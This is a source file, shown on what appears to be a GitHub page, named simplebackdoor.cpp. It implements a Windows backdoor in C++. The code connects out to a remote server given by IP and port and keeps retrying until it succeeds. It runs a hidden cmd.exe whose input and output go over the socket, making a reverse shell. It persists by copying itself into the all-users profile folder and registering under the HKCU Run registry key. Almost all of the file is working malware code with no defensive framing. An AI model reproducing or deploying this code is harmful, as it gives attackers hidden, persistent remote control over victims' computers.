-
Notifications
You must be signed in to change notification settings - Fork 24
/
simplebackdoor.cpp
159 lines (120 loc) · 3.76 KB
/
simplebackdoor.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#include "simplebackdoor.h"
using namespace std;
SimpleBackdoor* SimpleBackdoor::instance = NULL;
SimpleBackdoor::SimpleBackdoor() {
//uncomment to hide the program's console
//ShowWindow(GetConsoleWindow(), SW_HIDE);
}
SimpleBackdoor::~SimpleBackdoor() {
closesocket(connectSocket);
WSACleanup();
}
void SimpleBackdoor::log(std::string line) {
cout << line << endl;
}
void SimpleBackdoor::connectToServer(std::string ip, std::string port) {
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2,2), &wsaData) != 0) {
exit(1);
}
struct addrinfo *info, hints;
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if(getaddrinfo(ip.c_str(), port.c_str(), &hints, &info) != 0){
WSACleanup();
exit(1);
}
connectSocket = INVALID_SOCKET;
connectSocket = socket(info->ai_family, info->ai_socktype, info->ai_protocol);
if (connectSocket == INVALID_SOCKET) {
WSACleanup();
exit(1);
}
log("Connecting to server...");
while (connect(connectSocket, info->ai_addr, (int)info->ai_addrlen) == SOCKET_ERROR) {
Sleep(10000);
}
freeaddrinfo(info);
if(connectSocket == INVALID_SOCKET) {
WSACleanup();
exit(1);
}
}
void SimpleBackdoor::doShell() {
SECURITY_ATTRIBUTES saAttr;
HANDLE readIN = NULL;
HANDLE writeIN = NULL;
HANDLE readOUT = NULL;
HANDLE writeOUT = NULL;
size_t received;
char recvBuffer[RECV_BUFLEN];
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
CreatePipe(&readOUT, &writeOUT, &saAttr, 0);
CreatePipe(&readIN, &writeIN, &saAttr, 0);
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = writeOUT;
siStartInfo.hStdOutput = writeOUT;
siStartInfo.hStdInput = readIN;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
siStartInfo.wShowWindow = SW_HIDE;
CreateProcess(NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&siStartInfo,
&piProcInfo);
log("Started cmd.exe");
char cmdBuffer[CMD_BUFLEN];
DWORD read;
DWORD bwritten;
do {
Sleep(1000);
do {
ReadFile(readOUT, cmdBuffer, CMD_BUFLEN, &read, NULL);
send(connectSocket, cmdBuffer, read, 0);
PeekNamedPipe(readOUT, cmdBuffer, sizeof(cmdBuffer), &read, NULL, NULL);
} while(read > 0);
ZeroMemory(recvBuffer, RECV_BUFLEN);
received = recv(connectSocket, recvBuffer, RECV_BUFLEN, 0);
WriteFile(writeIN, recvBuffer, received, &bwritten, NULL);
} while (received > 0);
if(received == 0) {
log("disconnected");
}
else {
log("recv failed: " + WSAGetLastError());
}
}
void SimpleBackdoor::persist(std::string programName) {
char path[500];
int firstLaunch;
GetEnvironmentVariable("ALLUSERSPROFILE", path, sizeof(path));
strcat(path, "\\");
strcat(path, programName.c_str());
firstLaunch = CopyFile(programName.c_str(), path, 1);
log("Checking " + std::string(path) + "...");
if(firstLaunch) {
HKEY key;
RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
RegSetValueEx(key, programName.c_str(), 0, REG_SZ, (BYTE*)path, strlen(path));
log("Added registry key.");
}
}
SimpleBackdoor* SimpleBackdoor::getInstance() {
if(!instance) {
instance = new SimpleBackdoor();
}
return instance;
}